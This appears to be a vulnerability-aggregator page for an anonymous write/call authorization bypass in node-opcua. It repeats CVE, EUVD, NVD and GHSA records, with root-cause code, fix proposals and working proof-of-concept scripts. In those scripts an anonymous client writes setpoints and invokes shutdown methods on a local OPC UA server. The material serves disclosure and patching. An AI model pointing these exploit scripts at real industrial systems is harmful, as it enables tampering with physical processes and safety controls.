node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions
cve-program · CVE-2026-95860
Publishednode-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.
Read the publisher's advisoryeuvd · EUVD-2026-116210
Publishednode-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.
Read the publisher's advisorynvd · CVE-2026-95860
Publishednode-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.
Read the publisher's advisoryosv · GHSA-xggf-m53x-jc3f
Published## Summary An unauthenticated (**Anonymous**) client can **Write** protected Variables and **Call** privileged Methods on any Node that lacks explicit per-node permissions. This follows the inheritance model defined by OPC UA Part 3, §5.2.9, where nodes without an explicit `RolePermissions` attribute inherit the namespace `DefaultRolePermissions`. OPC 10000-3 §4.8.3 mandates a **default-deny** evaluation (`Bad_UserAccessDenied` when the operation bits are not set); `node-opcua` instead **grants all permissions**. The root cause is a combination of an authorization **fail-open** and a **disconnect** between the configuration API and the runtime enforcement path. --- ## Affected configuration This advisory covers two cases that are not equally severe: 1. No RolePermissions declared anywhere - resolution is permissive. This is node-opcua's documented behaviour for a server with no access control configured, so nothing is being bypassed. Worth fixing as an insecure default (CWE-1188), but it is not the 9.1 bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value, so a server that declared no policy is NOT exposed. 2. A policy is declared and silently ignored - setDefaultRolePermissions() succeeds and does nothing, so an operator who believes they locked the namespace down has not. This is the real bypass and this is what earns CVSS 9.1. It requires that someone declared a namespace default. Everything below describes case 2 unless stated otherwise. ## Root Cause Analysis ### Bug 1 - `getPermissionForRole(null)` returns `allPermissions` (violates §4.8.3 default-deny) File: `packages/node-opcua-address-space/source/session_context.ts:151-153` ```ts function getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag { if (rolePermissions === null) { return allPermissions; // null means "grant everything" to ANY role, including Anonymous } ``` When the applicable policy resolves to `null`, the function returns `allPermissions` (Read, Write, Call) to whichever role is checking permissions, **including Anonymous**. OPC 10000-3 §4.8.3 requires the opposite: *"If they are not set the Server returns `Bad_UserAccessDenied`."* ### Bug 2 - The namespace default resolves to `null` on the enforcement path The runtime enforcement reads the `DefaultRolePermissions` / `DefaultUserRolePermissions` Variable nodes under `Server/Namespaces/<ns>`. These resolve to `null` in every reachable configuration: - **NodeSet2-loaded namespaces** (DI / ADI / vendor) ship the Property **without a `Value`** (`null`). - **Programmatically-created namespaces** have **no `NamespaceMetadata` node** under `Server/Namespaces`, so the lookup returns `null`. Additionally, `server_engine.ts:947-957` rewrites these nodes to a Null-typed value on every `initialize()`, with no restore: ```ts for (const ns of namespacesNode.getComponents()) { const defaultRolePermissions = ns.getChildByName("DefaultRolePermissions") as UAVariable | null; if (defaultRolePermissions) { defaultRolePermissions.setValueFromSource({ dataType: DataType.Null }); } } ``` > **Note:** the loaded value is already `null` in stock nodesets, so this reset only changes the value's `dataType` tag; it is **not** the sole cause, the namespace default is `null` regardless. ### Bug 3 - Two incoherent enforcement paths There are two separate and disconnected paths to resolve namespace-default permissions. **Path A (private field)** - `Namespace.setDefaultRolePermissions()` writes the policy exclusively to a JavaScript private field in `namespace_impl.ts`: ```ts public setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void { this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined; } ``` This is the value read by local getters (e.g. `BaseNodeImpl.getRolePermissions(inherited=true)`). **Path B (UAVariable node)** - the runtime access-control enforcement (Read/Write/Call) queries the `DefaultRolePermissions` **UAVariable node** instead of the private field (`session_context.ts`): ```ts const defaultRolePermissions = uaNamespaceObject.getChildByName("DefaultRolePermissions") as UAVariable; if (defaultRolePermissions) { const dataValue = defaultRolePermissions.readValue(); if (dataValue?.statusCode.isGood()) { return dataValue.value.value as RolePermissionType[] | null; } } ``` Because Path B reads the variable node and Path A writes the private field, the two are disconnected. The enforcement path resolves the namespace default to `null`, the metadata node is **absent** (programmatic namespace) or **Null-valued** (nodeset namespace) and the operator's `setDefaultRolePermissions()` field is never consulted. That `null` then triggers the fail-open (Bug 1). > *Measured:* with `setDefaultRolePermissions([Operator])` applied, `namespace.getDefaultRolePermissions()` returns the policy while `getApplicableRolePermissions()` returns `null`. Synchronization between the two paths only happens if the operator calls `setNamespaceMetaData()`, which binds the field to the node via `bindVariable()`: ```ts metaData.defaultRolePermissions?.bindVariable( { get: () => new Variant({ dataType: DataType.ExtensionObject, arrayType: VariantArrayType.Array, value: namespace.getDefaultRolePermissions() }) }, true ); ``` Without calling `setNamespaceMetaData()`, `setDefaultRolePermissions()` has **no effect** on runtime authorization. **Furthermore, on NodeSet2-loaded namespaces `setNamespaceMetaData()` throws `"INamespace meta data already exists"` (PoC-C), so for those namespaces there is no working way to activate the namespace default at all.** --- ## Steps to Reproduce ### PoC-A - Address-space level (unit test, no network) Save as `packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts`, then run: ```bash cd packages/node-opcua-address-space npx mocha ./test/test_poc_rbac_failopen.ts ``` ```ts import { makePermissionFlag } from "node-opcua-data-model"; import { PermissionType } from "node-opcua-types"; import { DataType } from "node-opcua-variant"; import should from "should"; import { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from ".."; import { getMiniAddressSpace } from "../testHelpers"; const _keep = should; describe("PoC RBAC fail-open", () => { let addressSpace: AddressSpace; let namespace: Namespace; before(async () => { addressSpace = await getMiniAddressSpace(); namespace = addressSpace.getOwnNamespace(); }); after(() => addressSpace.dispose()); function anonymousContext(): SessionContext { const ctx = new SessionContext(); ctx.getCurrentUserRoles = () => makeRoles([WellKnownRoles.Anonymous]); return ctx; } it("A. CONTROL: per-node rolePermissions deny Anonymous", () => { const secured = namespace.addVariable({ browseName: "SecuredWithNodePermissions", dataType: DataType.Double, accessLevel: "CurrentRead | CurrentWrite", userAccessLevel: "CurrentRead | CurrentWrite" }); secured.setRolePermissions([ { roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag("Read | Write") } ]); const ctx = anonymousContext(); ctx.checkPermission(secured, PermissionType.Write).should.eql(false); }); it("B. VULN: node relying on namespace-default -> Anonymous gets Write", () => { const relyingOnDefault = namespace.addVariable({ browseName: "RelyingOnNamespaceDefault", dataType: DataType.Double, accessLevel: "CurrentRead | CurrentWrite", userAccessLevel: "CurrentRead | CurrentWrite" }); const ctx = anonymousContext(); const applicable = ctx.getApplicableRolePermissions(relyingOnDefault); should(applicable).eql(null, "namespace default resolves to null (no namespace-metadata node)"); ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true); relyingOnDefault.isUserWritable(ctx).should.eql(true); }); it("C. VULN: bound Method without per-node permission -> Anonymous can Call", () => { const obj = namespace.addObject({ browseName: "PocObject", organizedBy: addressSpace.rootFolder.objects }); const method = namespace.addMethod(obj, { browseName: "PrivilegedMethod", inputArguments: [], outputArguments: [] }); method.bindMethod((inputArguments, context, callback) => callback(null, { statusCode: 0 as any })); const ctx = anonymousContext(); ctx.checkPermission(method, PermissionType.Call).should.eql(true); method.getUserExecutableFlag(ctx).should.eql(true); }); }); ``` **Output:** ```text PoC RBAC fail-open ✓ A. CONTROL: per-node rolePermissions deny Anonymous ✓ B. VULN: node relying on namespace-default -> Anonymous gets Write ✓ C. VULN: bound Method without per-node permission -> Anonymous can Call 3 passing ``` ### PoC-B - End-to-end over TCP (programmatic namespace) Save as `packages/node-opcua/poc_b_e2e_rbac.js`, then run `node poc_b_e2e_rbac.js` (add `--safe` for the control): ```js const { OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes, MessageSecurityMode, SecurityPolicy, UserTokenType, WellKnownRoles, makePermissionFlag, setNamespaceMetaData } = require("node-opcua"); const PORT = 48411; const ENDPOINT = `opc.tcp://localhost:${PORT}`; const SAFE_MODE = process.argv.includes("--safe"); let parentNodeId, methodNodeId, variableNodeId; async function startServer() { const server = new OPCUAServer({ port: PORT, securityPolicies: [SecurityPolicy.None], securityModes: [MessageSecurityMode.None], allowAnonymous: true }); await server.initialize(); const ns = server.engine.addressSpace.getOwnNamespace(); // Operator hardening: namespace-level RBAC, Anonymous excluded ns.setDefaultRolePermissions([ { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") }, { roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag("Read | Browse") } ]); if (SAFE_MODE) { setNamespaceMetaData(ns); } const device = ns.addObject({ browseName: "PlantDevice_01", organizedBy: server.engine.addressSpace.rootFolder.objects }); parentNodeId = device.nodeId; const method = ns.addMethod(device, { browseName: "EmergencyShutdown", inputArguments: [], outputArguments: [] }); method.bindMethod((_in, _ctx, cb) => { console.log("[server] EmergencyShutdown EXECUTED by anonymous caller"); cb(null, { statusCode: StatusCodes.Good, outputArguments: [] }); }); methodNodeId = method.nodeId; const variable = ns.addVariable({ browseName: "ReactorSetpoint", componentOf: device, dataType: DataType.Double, accessLevel: "CurrentRead | CurrentWrite", userAccessLevel: "CurrentRead | CurrentWrite", value: { dataType: DataType.Double, value: 350.0 } }); variableNodeId = variable.nodeId; await server.start(); console.log(`[server] Listening on ${ENDPOINT}`); return server; } async function anonymousAttack() { const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None }); await client.connect(ENDPOINT); const session = await client.createSession({ type: UserTokenType.Anonymous }); console.log("[client] Anonymous session activated"); let callStatus; try { const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] }); callStatus = r.statusCode.toString(); } catch (e) { callStatus = e.message; } let writeStatus; try { const r = await session.write({ nodeId: variableNodeId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999.0 } } }); writeStatus = r.toString(); } catch (e) { writeStatus = e.message; } await session.close(); await client.disconnect(); return { callStatus, writeStatus }; } (async () => { const server = await startServer(); try { const { callStatus, writeStatus } = await anonymousAttack(); console.log(`\nMode: ${SAFE_MODE ? "SAFE" : "VULNERABLE"}`); console.log(`CALL EmergencyShutdown : ${callStatus}`); console.log(`WRITE ReactorSetpoint : ${writeStatus}`); const vuln = callStatus.includes("Good") || writeStatus.includes("Good"); console.log(vuln ? "\nVULNERABLE - Anonymous bypassed namespace RBAC" : "\nSAFE - RBAC correctly enforced"); } finally { await server.shutdown(); } })().catch(e => { console.error(e); process.exit(1); }); ``` **Vulnerable output** (`node poc_b_e2e_rbac.js`): ```text [server] EmergencyShutdown EXECUTED by anonymous caller Mode: VULNERABLE CALL EmergencyShutdown : Good (0x00000000) WRITE ReactorSetpoint : Good (0x00000000) ``` **Control output** (`node poc_b_e2e_rbac.js --safe`): ```text Mode: SAFE CALL EmergencyShutdown : BadUserAccessDenied (0x801f0000) WRITE ReactorSetpoint : BadUserAccessDenied (0x801f0000) ``` ### PoC-C - End-to-end over TCP (NodeSet2-loaded namespace: no configuration prevents it) Save as `packages/node-opcua/poc_c_nodeset_rbac.js`, then run `node poc_c_nodeset_rbac.js`: ```js const { OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes, MessageSecurityMode, SecurityPolicy, UserTokenType, WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets } = require("node-opcua"); const PORT = 48412, DI_URI = "http://opcfoundation.org/UA/DI/"; let deviceId, methodId, variableId; async function startServer() { const server = new OPCUAServer({ port: PORT, securityPolicies: [SecurityPolicy.None], securityModes: [MessageSecurityMode.None], allowAnonymous: true, nodeset_filename: [nodesets.standard, nodesets.di] }); await server.initialize(); const di = server.engine.addressSpace.getNamespace(DI_URI); di.setDefaultRolePermissions([ { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") } ]); try { setNamespaceMetaData(di); console.log("[server] hardening: metadata bound"); } catch (e) { console.log("[server] hardening FAILED:", e.message); } const device = di.addObject({ browseName: "Pump01", organizedBy: server.engine.addressSpace.rootFolder.objects }); deviceId = device.nodeId; const m = di.addMethod(device, { browseName: "Stop", inputArguments: [], outputArguments: [] }); m.bindMethod((_i, _c, cb) => { console.log("[server] Stop() EXECUTED by anonymous"); cb(null, { statusCode: StatusCodes.Good, outputArguments: [] }); }); methodId = m.nodeId; const v = di.addVariable({ browseName: "Setpoint", componentOf: device, dataType: DataType.Double, accessLevel: "CurrentRead | CurrentWrite", userAccessLevel: "CurrentRead | CurrentWrite", value: { dataType: DataType.Double, value: 42 } }); variableId = v.nodeId; await server.start(); return server; } async function attack() { const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None }); await client.connect(`opc.tcp://localhost:${PORT}`); const s = await client.createSession({ type: UserTokenType.Anonymous }); const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString(); const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString(); await s.close(); await client.disconnect(); console.log("CALL Stop() :", call); console.log("WRITE Setpoint :", write); } (async () => { const srv = await startServer(); try { await attack(); } finally { await srv.shutdown(); } })().catch(e => { console.error(e); process.exit(1); }); ``` **Output:** ```text [server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/ [server] Stop() EXECUTED by anonymous CALL Stop() : Good (0x00000000) WRITE Setpoint : Good (0x00000000) ``` --- ## Impact - **Write** arbitrary values to Variables (`CurrentWrite`) governed only by namespace-level RBAC, e.g. process setpoints, safety parameters. - **Call** bound Methods. Methods have no AccessLevel second gate; `executable` defaults to `true` for bound methods (`ua_method_impl.ts`). - Affects **every Node** relying on the namespace `DefaultRolePermissions` inheritance mandated by OPC 10000-3 §5.2.9. - Anonymous receives **every** `PermissionFlag` because `null` resolves to `allPermissions`. - Availability impact (**A:H**, CVSS **9.8**) is reachable in any deployment binding a Method whose execution affects availability (shutdown / reboot / role-administration); scored `A:N` as deployment-specific. ## What is NOT affected Servers that declare no RolePermissions anywhere (case 1): permissive by documented design, not a bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value and falls in this case. - Nodes with explicit **per-node** `RolePermissions` (correctly enforced - PoC-A case A). - Programmatically-created namespaces where the operator calls **both** `setDefaultRolePermissions()` **and** `setNamespaceMetaData()` (PoC-B `--safe`). - Variables without `CurrentWrite` in AccessLevel (the **Call** vector still applies to Methods). --- ## Proposed Fix 1. **Fail-closed** - `getPermissionForRole(null)` should return `PermissionFlag.None`, not `allPermissions` (per §4.8.3 default-deny). 2. **Coherent path** - `getApplicableRolePermissions()` should use `node.getRolePermissions(inherited=true)`, which already reads the namespace field correctly. 3. **API safety** - `setDefaultRolePermissions()` should take effect on enforcement directly, without requiring `setNamespaceMetaData()` (which throws on nodeset-loaded namespaces). 4. **Hardening** - `server_engine.ts:947-957` should not unconditionally reset `DefaultRolePermissions`. --- ## Spec Reference (verified verbatim against the official OPC Foundation reference) - **OPC 10000-3 §4.8.3 - Evaluating Permissions with Roles:** *"If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns `Bad_UserAccessDenied`."* (default-deny, the behaviour Bug 1 inverts). <https://reference.opcfoundation.org/Core/Part3/v105/docs/4.8.3> - **OPC 10000-3 §5.2.9 - RolePermissions:** *"If not specified, the value of `DefaultRolePermissions` Property from the `NamespaceMetadata` Object associated with the Node shall be used instead."* and *"If a Server supports Permissions for a particular Namespace it shall add the `DefaultRolePermissions` Property to the `NamespaceMetadata` Object for that Namespace."* <https://reference.opcfoundation.org/Core/Part3/v105/docs/5.2.9> - **OPC 10000-5 §6.3.13 - NamespaceMetadataType** (defines `DefaultRolePermissions` / `DefaultUserRolePermissions` as Properties of the `NamespaceMetadata` Object). <https://reference.opcfoundation.org/Core/Part5/v104/docs/6.3.13>
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2026-95860
Publishednode-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions
node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.
- Source published
- 3 Nov 2026 20:11:38 UTC
- Source modified
- 7 Nov 2026 03:30:26 UTC
- Saved here
- 7 Nov 2026 05:26:54 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
euvd · EUVD-2026-116210
Publishednode-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without expli…
node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Nov 3, 2026, 8:11:38 PM
dateUpdated: Nov 7, 2026, 3:30:26 AM
- Source published
- Nov 3, 2026, 8:11:38 PM (timezone not stated)
- Source modified
- Nov 7, 2026, 3:30:26 AM (timezone not stated)
- Saved here
- 14 Nov 2026 17:37:55 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
nvd · CVE-2026-95860
Publishednode-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without expli…
node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-285 · CWE-636 · CWE-863 · CWE-1188
Original publisher date fields
published: 2026-11-03T21:17:45.907
lastModified: 2026-11-07T04:17:35.277
- Source published
- 3 Nov 2026 21:17:45 UTC
- Source modified
- 7 Nov 2026 04:17:35 UTC
- Saved here
- 10 Nov 2026 16:25:21 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 9.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
osv · GHSA-xggf-m53x-jc3f
Publishednode-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions
## Summary An unauthenticated (**Anonymous**) client can **Write** protected Variables and **Call** privileged Methods on any Node that lacks explicit per-node permissions. This follows the inheritance model defined by OPC UA Part 3, §5.2.9, where nodes without an explicit `RolePermissions` attribute inherit the namespace `DefaultRolePermissions`. OPC 10000-3 §4.8.3 mandates a **default-deny** evaluation (`Bad_UserAccessDenied` when the operation bits are not set); `node-opcua` instead **grants all permissions**. The root cause is a combination of an authorization **fail-open** and a **disconnect** between the configuration API and the runtime enforcement path. --- ## Affected configuration This advisory covers two cases that are not equally severe: 1. No RolePermissions declared anywhere - resolution is permissive. This is node-opcua's documented behaviour for a server with no access control configured, so nothing is being bypassed. Worth fixing as an insecure default (CWE-1188), but it is not the 9.1 bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value, so a server that declared no policy is NOT exposed. 2. A policy is declared and silently ignored - setDefaultRolePermissions() succeeds and does nothing, so an operator who believes they locked the namespace down has not. This is the real bypass and this is what earns CVSS 9.1. It requires that someone declared a namespace default. Everything below describes case 2 unless stated otherwise. ## Root Cause Analysis ### Bug 1 - `getPermissionForRole(null)` returns `allPermissions` (violates §4.8.3 default-deny) File: `packages/node-opcua-address-space/source/session_context.ts:151-153` ```ts function getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag { if (rolePermissions === null) { return allPermissions; // null means "grant everything" to ANY role, including Anonymous } ``` When the applicable policy resolves to `null`, the function returns `allPermissions` (Read, Write, Call) to whichever role is checking permissions, **including Anonymous**. OPC 10000-3 §4.8.3 requires the opposite: *"If they are not set the Server returns `Bad_UserAccessDenied`."* ### Bug 2 - The namespace default resolves to `null` on the enforcement path The runtime enforcement reads the `DefaultRolePermissions` / `DefaultUserRolePermissions` Variable nodes under `Server/Namespaces/<ns>`. These resolve to `null` in every reachable configuration: - **NodeSet2-loaded namespaces** (DI / ADI / vendor) ship the Property **without a `Value`** (`null`). - **Programmatically-created namespaces** have **no `NamespaceMetadata` node** under `Server/Namespaces`, so the lookup returns `null`. Additionally, `server_engine.ts:947-957` rewrites these nodes to a Null-typed value on every `initialize()`, with no restore: ```ts for (const ns of namespacesNode.getComponents()) { const defaultRolePermissions = ns.getChildByName("DefaultRolePermissions") as UAVariable | null; if (defaultRolePermissions) { defaultRolePermissions.setValueFromSource({ dataType: DataType.Null }); } } ``` > **Note:** the loaded value is already `null` in stock nodesets, so this reset only changes the value's `dataType` tag; it is **not** the sole cause, the namespace default is `null` regardless. ### Bug 3 - Two incoherent enforcement paths There are two separate and disconnected paths to resolve namespace-default permissions. **Path A (private field)** - `Namespace.setDefaultRolePermissions()` writes the policy exclusively to a JavaScript private field in `namespace_impl.ts`: ```ts public setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void { this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined; } ``` This is the value read by local getters (e.g. `BaseNodeImpl.getRolePermissions(inherited=true)`). **Path B (UAVariable node)** - the runtime access-control enforcement (Read/Write/Call) queries the `DefaultRolePermissions` **UAVariable node** instead of the private field (`session_context.ts`): ```ts const defaultRolePermissions = uaNamespaceObject.getChildByName("DefaultRolePermissions") as UAVariable; if (defaultRolePermissions) { const dataValue = defaultRolePermissions.readValue(); if (dataValue?.statusCode.isGood()) { return dataValue.value.value as RolePermissionType[] | null; } } ``` Because Path B reads the variable node and Path A writes the private field, the two are disconnected. The enforcement path resolves the namespace default to `null`, the metadata node is **absent** (programmatic namespace) or **Null-valued** (nodeset namespace) and the operator's `setDefaultRolePermissions()` field is never consulted. That `null` then triggers the fail-open (Bug 1). > *Measured:* with `setDefaultRolePermissions([Operator])` applied, `namespace.getDefaultRolePermissions()` returns the policy while `getApplicableRolePermissions()` returns `null`. Synchronization between the two paths only happens if the operator calls `setNamespaceMetaData()`, which binds the field to the node via `bindVariable()`: ```ts metaData.defaultRolePermissions?.bindVariable( { get: () => new Variant({ dataType: DataType.ExtensionObject, arrayType: VariantArrayType.Array, value: namespace.getDefaultRolePermissions() }) }, true ); ``` Without calling `setNamespaceMetaData()`, `setDefaultRolePermissions()` has **no effect** on runtime authorization. **Furthermore, on NodeSet2-loaded namespaces `setNamespaceMetaData()` throws `"INamespace meta data already exists"` (PoC-C), so for those namespaces there is no working way to activate the namespace default at all.** --- ## Steps to Reproduce ### PoC-A - Address-space level (unit test, no network) Save as `packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts`, then run: ```bash cd packages/node-opcua-address-space npx mocha ./test/test_poc_rbac_failopen.ts ``` ```ts import { makePermissionFlag } from "node-opcua-data-model"; import { PermissionType } from "node-opcua-types"; import { DataType } from "node-opcua-variant"; import should from "should"; import { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from ".."; import { getMiniAddressSpace } from "../testHelpers"; const _keep = should; describe("PoC RBAC fail-open", () => { let addressSpace: AddressSpace; let namespace: Namespace; before(async () => { addressSpace = await getMiniAddressSpace(); namespace = addressSpace.getOwnNamespace(); }); after(() => addressSpace.dispose()); function anonymousContext(): SessionContext { const ctx = new SessionContext(); ctx.getCurrentUserRoles = () => makeRoles([WellKnownRoles.Anonymous]); return ctx; } it("A. CONTROL: per-node rolePermissions deny Anonymous", () => { const secured = namespace.addVariable({ browseName: "SecuredWithNodePermissions", dataType: DataType.Double, accessLevel: "CurrentRead | CurrentWrite", userAccessLevel: "CurrentRead | CurrentWrite" }); secured.setRolePermissions([ { roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag("Read | Write") } ]); const ctx = anonymousContext(); ctx.checkPermission(secured, PermissionType.Write).should.eql(false); }); it("B. VULN: node relying on namespace-default -> Anonymous gets Write", () => { const relyingOnDefault = namespace.addVariable({ browseName: "RelyingOnNamespaceDefault", dataType: DataType.Double, accessLevel: "CurrentRead | CurrentWrite", userAccessLevel: "CurrentRead | CurrentWrite" }); const ctx = anonymousContext(); const applicable = ctx.getApplicableRolePermissions(relyingOnDefault); should(applicable).eql(null, "namespace default resolves to null (no namespace-metadata node)"); ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true); relyingOnDefault.isUserWritable(ctx).should.eql(true); }); it("C. VULN: bound Method without per-node permission -> Anonymous can Call", () => { const obj = namespace.addObject({ browseName: "PocObject", organizedBy: addressSpace.rootFolder.objects }); const method = namespace.addMethod(obj, { browseName: "PrivilegedMethod", inputArguments: [], outputArguments: [] }); method.bindMethod((inputArguments, context, callback) => callback(null, { statusCode: 0 as any })); const ctx = anonymousContext(); ctx.checkPermission(method, PermissionType.Call).should.eql(true); method.getUserExecutableFlag(ctx).should.eql(true); }); }); ``` **Output:** ```text PoC RBAC fail-open ✓ A. CONTROL: per-node rolePermissions deny Anonymous ✓ B. VULN: node relying on namespace-default -> Anonymous gets Write ✓ C. VULN: bound Method without per-node permission -> Anonymous can Call 3 passing ``` ### PoC-B - End-to-end over TCP (programmatic namespace) Save as `packages/node-opcua/poc_b_e2e_rbac.js`, then run `node poc_b_e2e_rbac.js` (add `--safe` for the control): ```js const { OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes, MessageSecurityMode, SecurityPolicy, UserTokenType, WellKnownRoles, makePermissionFlag, setNamespaceMetaData } = require("node-opcua"); const PORT = 48411; const ENDPOINT = `opc.tcp://localhost:${PORT}`; const SAFE_MODE = process.argv.includes("--safe"); let parentNodeId, methodNodeId, variableNodeId; async function startServer() { const server = new OPCUAServer({ port: PORT, securityPolicies: [SecurityPolicy.None], 